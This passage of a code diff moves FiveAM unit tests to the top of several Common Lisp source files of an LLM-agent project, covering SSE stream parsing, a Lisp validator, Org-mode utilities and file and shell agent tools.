(let ((result (provider-openai-request "test" "system" :tools (list))))
(fiveam:is (member (getf result :status) '(:success :error)))))
;; ── v0.7.1 Streaming ──
(fiveam:test test-parse-sse-line-data
"Contract 6: parse-sse-line extracts content from data: lines."
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
(fiveam:test test-parse-sse-line-done
"Contract 6: parse-sse-line returns :done for [DONE]."
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
(fiveam:test test-parse-sse-line-nil
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
(fiveam:is (null (passepartout::parse-sse-line "")))
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
(fiveam:test test-provider-openai-stream-calls-callback
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
(let ((collected '()))
(flet ((collector (text) (push text collected)))
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
(let* ((reversed (nreverse collected))
(last (car (last reversed))))
(fiveam:is (stringp last))
(fiveam:is (string= "" last))
(fiveam:is (>= (length reversed) 2)))))
(in-package :passepartout)
(defparameter *provider-configs*
@@ -242,59 +298,3 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
(list :status :success))
(error (c)
(list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-llm-gateway-tests
(:use :cl :passepartout)
(:export #:llm-gateway-suite))
(in-package :passepartout-llm-gateway-tests)
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
(fiveam:in-suite llm-gateway-suite)
(fiveam:test test-provider-rejects-bad-keyword
"Contract 3: provider-config returns nil for unregistered provider."
(let ((config (provider-config :not-a-real-provider)))
(fiveam:is (null config))))
(fiveam:test test-provider-config-registered
"Contract 1: provider-config returns configuration plist for registered provider."
(let ((config (provider-config :openrouter)))
(fiveam:is (listp config))
(fiveam:is (getf config :base-url))))
(fiveam:test test-provider-accepts-tools-parameter
"Contract 4: provider-openai-request accepts :tools parameter without error."
(let ((result (provider-openai-request "test" "system" :tools (list))))
(fiveam:is (member (getf result :status) '(:success :error)))))
;; ── v0.7.1 Streaming ──
(fiveam:test test-parse-sse-line-data
"Contract 6: parse-sse-line extracts content from data: lines."
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
(fiveam:test test-parse-sse-line-done
"Contract 6: parse-sse-line returns :done for [DONE]."
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
(fiveam:test test-parse-sse-line-nil
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
(fiveam:is (null (passepartout::parse-sse-line "")))
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
(fiveam:test test-provider-openai-stream-calls-callback
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
(let ((collected '()))
(flet ((collector (text) (push text collected)))
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
(let* ((reversed (nreverse collected))
(last (car (last reversed))))
(fiveam:is (stringp last))
(fiveam:is (string= "" last))
(fiveam:is (>= (length reversed) 2)))))

176
lisp/programming-lisp.lisp
View File

@@ -1,3 +1,91 @@
(defpackage :passepartout-utils-lisp-tests
(:use :cl :fiveam :passepartout)
(:export #:utils-lisp-suite))
(in-package :passepartout-utils-lisp-tests)
(def-suite utils-lisp-suite
:description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
(in-suite utils-lisp-suite)
(test structural-balanced
"Contract 1: balanced code returns T."
(is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
(test structural-unbalanced-open
"Contract 1: missing close paren returns nil + error."
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
(is (null ok))
(is (search "Reader Error" reason))))
(test structural-unbalanced-close
"Contract 1: extra close paren returns nil + error."
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
(is (null ok))
(is (search "Reader Error" reason))))
(test syntactic-valid
"Contract 2: valid syntax passes syntactic check."
(is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
(test semantic-safe
"Contract 3: safe code passes semantic check."
(is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
(test semantic-blocked-eval
"Contract 3: eval forms are blocked by semantic check."
(multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
(is (null ok))
(is (search "Unsafe" reason))))
(test unified-success
"Contract 4: valid code returns :success via lisp-validate."
(let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
(is (eq (getf result :status) :success))))
(test unified-failure
"Contract 4: invalid code returns :error via lisp-validate."
(let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
(is (eq (getf result :status) :error))))
(test eval-basic
"Contract 5: lisp-eval returns :success with captured result."
(let ((result (passepartout:lisp-eval "(+ 1 2)")))
(is (eq (getf result :status) :success))
(is (string= (getf result :result) "3"))))
(test structural-extract
"Contract 6: lisp-extract finds and returns a named function."
(let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
(extracted (passepartout:lisp-extract code "hello")))
(is (not (null extracted)))
(let ((form (read-from-string extracted)))
(is (eq (car form) 'DEFUN))
(is (eq (second form) 'HELLO)))))
(test list-definitions
"Contract 7: lisp-list-definitions returns all defined names."
(let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
(let ((names (passepartout:lisp-list-definitions code)))
(is (member 'FOO names))
(is (member 'BAR names))
(is (member '*BAZ* names)))))
(test structural-inject
"Contract 8: lisp-inject adds a form to a function body."
(let* ((code "(defun my-fun (x) (print x))")
(injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
(let ((form (read-from-string injected)))
(is (equal (last form) '((FINISH-OUTPUT)))))))
(test structural-slurp
"Contract 9: lisp-slurp appends a form to a function body."
(let* ((code "(defun work () (step-1))")
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
(let ((form (read-from-string slurped)))
(is (equal (last form) '((STEP-2)))))))
(in-package :passepartout)
(defun lisp-structural-check (code)
@@ -156,91 +244,3 @@
(intern (string k) :keyword)
k)
collect v)))
(defpackage :passepartout-utils-lisp-tests
(:use :cl :fiveam :passepartout)
(:export #:utils-lisp-suite))
(in-package :passepartout-utils-lisp-tests)
(def-suite utils-lisp-suite
:description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
(in-suite utils-lisp-suite)
(test structural-balanced
"Contract 1: balanced code returns T."
(is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
(test structural-unbalanced-open
"Contract 1: missing close paren returns nil + error."
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
(is (null ok))
(is (search "Reader Error" reason))))
(test structural-unbalanced-close
"Contract 1: extra close paren returns nil + error."
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
(is (null ok))
(is (search "Reader Error" reason))))
(test syntactic-valid
"Contract 2: valid syntax passes syntactic check."
(is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
(test semantic-safe
"Contract 3: safe code passes semantic check."
(is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
(test semantic-blocked-eval
"Contract 3: eval forms are blocked by semantic check."
(multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
(is (null ok))
(is (search "Unsafe" reason))))
(test unified-success
"Contract 4: valid code returns :success via lisp-validate."
(let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
(is (eq (getf result :status) :success))))
(test unified-failure
"Contract 4: invalid code returns :error via lisp-validate."
(let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
(is (eq (getf result :status) :error))))
(test eval-basic
"Contract 5: lisp-eval returns :success with captured result."
(let ((result (passepartout:lisp-eval "(+ 1 2)")))
(is (eq (getf result :status) :success))
(is (string= (getf result :result) "3"))))
(test structural-extract
"Contract 6: lisp-extract finds and returns a named function."
(let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
(extracted (passepartout:lisp-extract code "hello")))
(is (not (null extracted)))
(let ((form (read-from-string extracted)))
(is (eq (car form) 'DEFUN))
(is (eq (second form) 'HELLO)))))
(test list-definitions
"Contract 7: lisp-list-definitions returns all defined names."
(let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
(let ((names (passepartout:lisp-list-definitions code)))
(is (member 'FOO names))
(is (member 'BAR names))
(is (member '*BAZ* names)))))
(test structural-inject
"Contract 8: lisp-inject adds a form to a function body."
(let* ((code "(defun my-fun (x) (print x))")
(injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
(let ((form (read-from-string injected)))
(is (equal (last form) '((FINISH-OUTPUT)))))))
(test structural-slurp
"Contract 9: lisp-slurp appends a form to a function body."
(let* ((code "(defun work () (step-1))")
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
(let ((form (read-from-string slurped)))
(is (equal (last form) '((STEP-2)))))))

74
lisp/programming-literate.lisp
View File

@@ -1,3 +1,40 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-programming-literate-tests
(:use :cl :fiveam :passepartout)
(:export #:literate-suite))
(in-package :passepartout-programming-literate-tests)
(def-suite literate-suite :description "Verification of the Literate Programming skill")
(in-suite literate-suite)
(test test-extract-lisp-blocks
"Contract 1: extracts lisp from #+begin_src blocks."
(let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
(extracted (literate-extract-lisp-blocks org-content)))
(let ((joined (format nil "~{~a~^~%~}" extracted)))
(is (search "(+ 1 2)" joined))
(is (search "(+ 3 4)" joined)))))
(test test-block-balance-check-valid
"Contract 2: balanced parens return T."
(is (eq t (literate-block-balance-check
(merge-pathnames "org/core-pipeline.org"
(uiop:ensure-directory-pathname
(uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
(test test-block-balance-check-missing-close
"Contract 2: unbalanced parens return non-T."
(is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
(test test-tangle-sync-check
"Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
(let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
(is (or (eq t result) (stringp result))
"Should return T or a mismatch description")))
(in-package :passepartout)
(defun literate-extract-lisp-blocks (content)
@@ -64,40 +101,3 @@ contents of the Lisp file. Returns T if they match, or an error message."
(defskill :passepartout-programming-literate
:priority 300
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-programming-literate-tests
(:use :cl :fiveam :passepartout)
(:export #:literate-suite))
(in-package :passepartout-programming-literate-tests)
(def-suite literate-suite :description "Verification of the Literate Programming skill")
(in-suite literate-suite)
(test test-extract-lisp-blocks
"Contract 1: extracts lisp from #+begin_src blocks."
(let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
(extracted (literate-extract-lisp-blocks org-content)))
(let ((joined (format nil "~{~a~^~%~}" extracted)))
(is (search "(+ 1 2)" joined))
(is (search "(+ 3 4)" joined)))))
(test test-block-balance-check-valid
"Contract 2: balanced parens return T."
(is (eq t (literate-block-balance-check
(merge-pathnames "org/core-pipeline.org"
(uiop:ensure-directory-pathname
(uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
(test test-block-balance-check-missing-close
"Contract 2: unbalanced parens return non-T."
(is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
(test test-tangle-sync-check
"Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
(let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
(is (or (eq t result) (stringp result))
"Should return T or a mismatch description")))

190
lisp/programming-org.lisp
View File

@@ -1,3 +1,98 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ignore-errors (ql:quickload :fiveam :silent t)))
(defpackage :passepartout-utils-org-tests
(:use :cl :fiveam :passepartout)
(:export #:utils-org-suite))
(in-package :passepartout-utils-org-tests)
(def-suite utils-org-suite
:description "Tests for Utils Org skill.")
(in-suite utils-org-suite)
(test id-generation
"Contract 1: org-id-generate returns unique UUID strings."
(let ((id1 (org-id-generate))
(id2 (org-id-generate)))
(is (plusp (length id1)))
(is (not (string= id1 id2)))))
(test id-format
"Contract 2: org-id-format ensures 'id:' prefix."
(let ((formatted (org-id-format "abc12345")))
(is (search "id:" formatted))))
(test property-setter
"Contract 3: org-property-set modifies a property on a headline."
(let ((ast (list :type :HEADLINE
:properties (list :ID "id:test123" :TITLE "Test")
:contents nil)))
(org-property-set ast "id:test123" :STATUS "ACTIVE")
(is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
(test todo-setter
"Contract 4: org-todo-set changes TODO state via org-property-set."
(let ((ast (list :type :HEADLINE
:properties (list :ID "id:todo001" :TITLE "Task")
:contents nil)))
(org-todo-set ast "id:todo001" "DONE")
(is (string= (getf (getf ast :properties) :TODO) "DONE"))))
(test test-org-headline-add
"Contract 5: org-headline-add inserts a child headline."
(let* ((ast (list :type :HEADLINE
:properties (list :ID "root" :TITLE "Root")
:contents nil)))
(is (eq t (org-headline-add ast "root" "New Child")))
(is (= 1 (length (getf ast :contents))))
(is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
(test test-org-headline-find-by-id
"Contract 6: org-headline-find-by-id finds a headline by ID."
(let* ((ast (list :type :HEADLINE
:properties (list :ID "root" :TITLE "Root")
:contents
(list (list :type :HEADLINE
:properties (list :ID "child1" :TITLE "Child"))
(list :type :HEADLINE
:properties (list :ID "child2" :TITLE "Child 2"))))))
(let ((found (org-headline-find-by-id ast "child2")))
(is (not (null found)))
(is (string= "Child 2" (getf (getf found :properties) :TITLE))))
(let ((missing (org-headline-find-by-id ast "nonexistent")))
(is (null missing) "Missing ID should return nil"))))
(test test-org-id-get-create
"Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
;; Case 1: headline already has an ID
(let* ((ast (list :type :HEADLINE
:properties (list :ID "id:existing" :TITLE "Has ID")
:contents nil)))
(is (string= "id:existing" (org-id-get-create ast "id:existing"))))
;; Case 2: headline exists by title but has no ID — one should be created
(let* ((ast (list :type :HEADLINE
:properties (list :TITLE "No ID")
:contents nil)))
(let ((new-id (org-id-get-create ast "No ID")))
(is (stringp new-id))
(is (uiop:string-prefix-p "id:" new-id))
;; Verify the ID was set on the headline
(is (string= new-id (getf (getf ast :properties) :ID)))))
;; Case 3: idempotent — calling again returns same ID
(let* ((ast (list :type :HEADLINE
:properties (list :TITLE "Idempotent")
:contents nil)))
(let ((id1 (org-id-get-create ast "Idempotent"))
(id2 (org-id-get-create ast "Idempotent")))
(is (string= id1 id2))))
;; Case 4: headline not found returns nil
(let* ((ast (list :type :HEADLINE
:properties (list :ID "root" :TITLE "Root")
:contents nil)))
(is (null (org-id-get-create ast "nonexistent")))))
(in-package :passepartout)
(defun org-filetags-extract (content)
@@ -260,98 +355,3 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
(defskill :passepartout-programming-org
:priority 100
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ignore-errors (ql:quickload :fiveam :silent t)))
(defpackage :passepartout-utils-org-tests
(:use :cl :fiveam :passepartout)
(:export #:utils-org-suite))
(in-package :passepartout-utils-org-tests)
(def-suite utils-org-suite
:description "Tests for Utils Org skill.")
(in-suite utils-org-suite)
(test id-generation
"Contract 1: org-id-generate returns unique UUID strings."
(let ((id1 (org-id-generate))
(id2 (org-id-generate)))
(is (plusp (length id1)))
(is (not (string= id1 id2)))))
(test id-format
"Contract 2: org-id-format ensures 'id:' prefix."
(let ((formatted (org-id-format "abc12345")))
(is (search "id:" formatted))))
(test property-setter
"Contract 3: org-property-set modifies a property on a headline."
(let ((ast (list :type :HEADLINE
:properties (list :ID "id:test123" :TITLE "Test")
:contents nil)))
(org-property-set ast "id:test123" :STATUS "ACTIVE")
(is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
(test todo-setter
"Contract 4: org-todo-set changes TODO state via org-property-set."
(let ((ast (list :type :HEADLINE
:properties (list :ID "id:todo001" :TITLE "Task")
:contents nil)))
(org-todo-set ast "id:todo001" "DONE")
(is (string= (getf (getf ast :properties) :TODO) "DONE"))))
(test test-org-headline-add
"Contract 5: org-headline-add inserts a child headline."
(let* ((ast (list :type :HEADLINE
:properties (list :ID "root" :TITLE "Root")
:contents nil)))
(is (eq t (org-headline-add ast "root" "New Child")))
(is (= 1 (length (getf ast :contents))))
(is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
(test test-org-headline-find-by-id
"Contract 6: org-headline-find-by-id finds a headline by ID."
(let* ((ast (list :type :HEADLINE
:properties (list :ID "root" :TITLE "Root")
:contents
(list (list :type :HEADLINE
:properties (list :ID "child1" :TITLE "Child"))
(list :type :HEADLINE
:properties (list :ID "child2" :TITLE "Child 2"))))))
(let ((found (org-headline-find-by-id ast "child2")))
(is (not (null found)))
(is (string= "Child 2" (getf (getf found :properties) :TITLE))))
(let ((missing (org-headline-find-by-id ast "nonexistent")))
(is (null missing) "Missing ID should return nil"))))
(test test-org-id-get-create
"Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
;; Case 1: headline already has an ID
(let* ((ast (list :type :HEADLINE
:properties (list :ID "id:existing" :TITLE "Has ID")
:contents nil)))
(is (string= "id:existing" (org-id-get-create ast "id:existing"))))
;; Case 2: headline exists by title but has no ID — one should be created
(let* ((ast (list :type :HEADLINE
:properties (list :TITLE "No ID")
:contents nil)))
(let ((new-id (org-id-get-create ast "No ID")))
(is (stringp new-id))
(is (uiop:string-prefix-p "id:" new-id))
;; Verify the ID was set on the headline
(is (string= new-id (getf (getf ast :properties) :ID)))))
;; Case 3: idempotent — calling again returns same ID
(let* ((ast (list :type :HEADLINE
:properties (list :TITLE "Idempotent")
:contents nil)))
(let ((id1 (org-id-get-create ast "Idempotent"))
(id2 (org-id-get-create ast "Idempotent")))
(is (string= id1 id2))))
;; Case 4: headline not found returns nil
(let* ((ast (list :type :HEADLINE
:properties (list :ID "root" :TITLE "Root")
:contents nil)))
(is (null (org-id-get-create ast "nonexistent")))))

344
lisp/programming-tools.lisp
View File

@@ -1,3 +1,175 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-programming-tools-tests
(:use :cl :fiveam :passepartout)
(:export #:programming-tools-suite))
(in-package :passepartout-programming-tools-tests)
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
(in-suite programming-tools-suite)
(defun tools-tmpdir ()
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
(uiop:ensure-all-directories-exist (list d))
d))
(defun tools-cleanup ()
(let ((d (tools-tmpdir)))
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
(defun tools-write-file (filepath content)
(uiop:ensure-all-directories-exist (list filepath))
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
(write-string content stream)))
(defun call-tool (tool-name &rest args)
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
(unless tool (error "Tool ~a not found" tool-name))
(funcall (cognitive-tool-body tool) args)))
;; search-files
(test test-search-files-finds-matches
"Contract 1: search-files finds lines matching a regex pattern."
(let* ((dir (tools-tmpdir))
(file-a (merge-pathnames "src-a.lisp" dir))
(file-b (merge-pathnames "src-b.lisp" dir)))
(tools-write-file file-a "(defun foo () 'hello)")
(tools-write-file file-b "(defun bar () 'world)")
(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
(is (eq (getf result :status) :success))
(is (search "src-a.lisp:1:" (getf result :content)))
(is (search "src-b.lisp:1:" (getf result :content))))
(tools-cleanup)))
(test test-search-files-missing-params
"search-files returns error when required params are missing."
(let ((result (call-tool 'search-files :pattern "x")))
(is (eq (getf result :status) :error))))
;; find-files
(test test-find-files-by-extension
"Contract 5: find-files returns files matching a glob."
(let ((dir (tools-tmpdir)))
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
(tools-write-file (merge-pathnames "c.org" dir) "test")
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
(is (eq (getf result :status) :success))
(is (search "a.lisp" (getf result :content)))
(is (search "b.lisp" (getf result :content)))
(is (not (search "c.org" (getf result :content)))))
(tools-cleanup)))
(test test-find-files-missing-params
"find-files returns error without required params."
(let ((result (call-tool 'find-files :pattern "*.lisp")))
(is (eq (getf result :status) :error))))
;; read-file
(test test-read-file-full
"Contract 6: read-file returns full file contents."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "readme.txt" dir)))
(tools-write-file file (format nil "line one~%line two~%line three"))
(let ((result (call-tool 'read-file :filepath (namestring file))))
(is (eq (getf result :status) :success))
(is (search "line one" (getf result :content))))
(tools-cleanup)))
(test test-read-file-missing-params
"read-file returns error without :filepath."
(let ((result (call-tool 'read-file)))
(is (eq (getf result :status) :error))))
;; write-file
(test test-write-file-creates
"Contract 7: write-file creates file with content."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "output.txt" dir)))
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
(is (eq (getf result :status) :success))
(is (search "11 bytes" (getf result :content))))
(is (string-equal "hello world" (uiop:read-file-string file)))
(tools-cleanup)))
(test test-write-file-missing-params
"write-file returns error without required params."
(let ((result (call-tool 'write-file :content "x")))
(is (eq (getf result :status) :error))))
;; list-directory
(test test-list-directory-all
"Contract 8: list-directory returns all entries."
(let ((dir (tools-tmpdir)))
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
(let ((result (call-tool 'list-directory :path (namestring dir))))
(is (eq (getf result :status) :success))
(is (search "alpha.txt" (getf result :content)))
(is (search "beta.txt" (getf result :content))))
(tools-cleanup)))
(test test-list-directory-missing-params
"list-directory returns error without :path."
(let ((result (call-tool 'list-directory)))
(is (eq (getf result :status) :error))))
;; run-shell
(test test-run-shell-echo
"Contract 9: run-shell executes a command and returns output."
(let ((result (call-tool 'run-shell :cmd "echo hello")))
(is (eq (getf result :status) :success))
(is (search "hello" (getf result :content)))))
(test test-run-shell-missing-params
"run-shell returns error without :cmd."
(let ((result (call-tool 'run-shell)))
(is (eq (getf result :status) :error))))
;; eval-form
(test test-eval-form-arithmetic
"Contract 10: eval-form evaluates a Lisp expression."
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
(is (eq (getf result :status) :success))
(is (search "3" (getf result :content)))))
(test test-eval-form-missing-params
"eval-form returns error without :code."
(let ((result (call-tool 'eval-form)))
(is (eq (getf result :status) :error))))
;; org-modify-file
(test test-org-modify-file-replace
"Contract 13: org-modify-file replaces exact text in file."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "doc.org" dir)))
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
(let ((result (call-tool 'org-modify-file
:filepath (namestring file)
:old-text "TODO" :new-text "WAITING")))
(is (eq (getf result :status) :success))
(is (search "WAITING" (uiop:read-file-string file))))
(tools-cleanup)))
(test test-org-modify-file-not-found
"org-modify-file returns error when text not in file."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "file.org" dir)))
(tools-write-file file "some content")
(let ((result (call-tool 'org-modify-file
:filepath (namestring file)
:old-text "not-in-file" :new-text "anything")))
(is (eq (getf result :status) :error))
(is (search "not found" (getf result :message))))
(tools-cleanup)))
(test test-org-modify-file-missing-params
"org-modify-file returns error without required params."
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
(is (eq (getf result :status) :error))))
(in-package :passepartout)
(defun tools-write-file (filepath content)
@@ -289,178 +461,6 @@
(prog1 (nreverse *modified-files-this-turn*)
(setf *modified-files-this-turn* nil)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-programming-tools-tests
(:use :cl :fiveam :passepartout)
(:export #:programming-tools-suite))
(in-package :passepartout-programming-tools-tests)
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
(in-suite programming-tools-suite)
(defun tools-tmpdir ()
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
(uiop:ensure-all-directories-exist (list d))
d))
(defun tools-cleanup ()
(let ((d (tools-tmpdir)))
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
(defun tools-write-file (filepath content)
(uiop:ensure-all-directories-exist (list filepath))
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
(write-string content stream)))
(defun call-tool (tool-name &rest args)
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
(unless tool (error "Tool ~a not found" tool-name))
(funcall (cognitive-tool-body tool) args)))
;; search-files
(test test-search-files-finds-matches
"Contract 1: search-files finds lines matching a regex pattern."
(let* ((dir (tools-tmpdir))
(file-a (merge-pathnames "src-a.lisp" dir))
(file-b (merge-pathnames "src-b.lisp" dir)))
(tools-write-file file-a "(defun foo () 'hello)")
(tools-write-file file-b "(defun bar () 'world)")
(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
(is (eq (getf result :status) :success))
(is (search "src-a.lisp:1:" (getf result :content)))
(is (search "src-b.lisp:1:" (getf result :content))))
(tools-cleanup)))
(test test-search-files-missing-params
"search-files returns error when required params are missing."
(let ((result (call-tool 'search-files :pattern "x")))
(is (eq (getf result :status) :error))))
;; find-files
(test test-find-files-by-extension
"Contract 5: find-files returns files matching a glob."
(let ((dir (tools-tmpdir)))
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
(tools-write-file (merge-pathnames "c.org" dir) "test")
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
(is (eq (getf result :status) :success))
(is (search "a.lisp" (getf result :content)))
(is (search "b.lisp" (getf result :content)))
(is (not (search "c.org" (getf result :content)))))
(tools-cleanup)))
(test test-find-files-missing-params
"find-files returns error without required params."
(let ((result (call-tool 'find-files :pattern "*.lisp")))
(is (eq (getf result :status) :error))))
;; read-file
(test test-read-file-full
"Contract 6: read-file returns full file contents."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "readme.txt" dir)))
(tools-write-file file (format nil "line one~%line two~%line three"))
(let ((result (call-tool 'read-file :filepath (namestring file))))
(is (eq (getf result :status) :success))
(is (search "line one" (getf result :content))))
(tools-cleanup)))
(test test-read-file-missing-params
"read-file returns error without :filepath."
(let ((result (call-tool 'read-file)))
(is (eq (getf result :status) :error))))
;; write-file
(test test-write-file-creates
"Contract 7: write-file creates file with content."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "output.txt" dir)))
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
(is (eq (getf result :status) :success))
(is (search "11 bytes" (getf result :content))))
(is (string-equal "hello world" (uiop:read-file-string file)))
(tools-cleanup)))
(test test-write-file-missing-params
"write-file returns error without required params."
(let ((result (call-tool 'write-file :content "x")))
(is (eq (getf result :status) :error))))
;; list-directory
(test test-list-directory-all
"Contract 8: list-directory returns all entries."
(let ((dir (tools-tmpdir)))
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
(let ((result (call-tool 'list-directory :path (namestring dir))))
(is (eq (getf result :status) :success))
(is (search "alpha.txt" (getf result :content)))
(is (search "beta.txt" (getf result :content))))
(tools-cleanup)))
(test test-list-directory-missing-params
"list-directory returns error without :path."
(let ((result (call-tool 'list-directory)))
(is (eq (getf result :status) :error))))
;; run-shell
(test test-run-shell-echo
"Contract 9: run-shell executes a command and returns output."
(let ((result (call-tool 'run-shell :cmd "echo hello")))
(is (eq (getf result :status) :success))
(is (search "hello" (getf result :content)))))
(test test-run-shell-missing-params
"run-shell returns error without :cmd."
(let ((result (call-tool 'run-shell)))
(is (eq (getf result :status) :error))))
;; eval-form
(test test-eval-form-arithmetic
"Contract 10: eval-form evaluates a Lisp expression."
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
(is (eq (getf result :status) :success))
(is (search "3" (getf result :content)))))
(test test-eval-form-missing-params
"eval-form returns error without :code."
(let ((result (call-tool 'eval-form)))
(is (eq (getf result :status) :error))))
;; org-modify-file
(test test-org-modify-file-replace
"Contract 13: org-modify-file replaces exact text in file."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "doc.org" dir)))
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
(let ((result (call-tool 'org-modify-file
:filepath (namestring file)
:old-text "TODO" :new-text "WAITING")))
(is (eq (getf result :status) :success))
(is (search "WAITING" (uiop:read-file-string file))))
(tools-cleanup)))
(test test-org-modify-file-not-found
"org-modify-file returns error when text not in file."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "file.org" dir)))
(tools-write-file file "some content")
(let ((result (call-tool 'org-modify-file
:filepath (namestring file)
:old-text "not-in-file" :new-text "anything")))
(is (eq (getf result :status) :error))
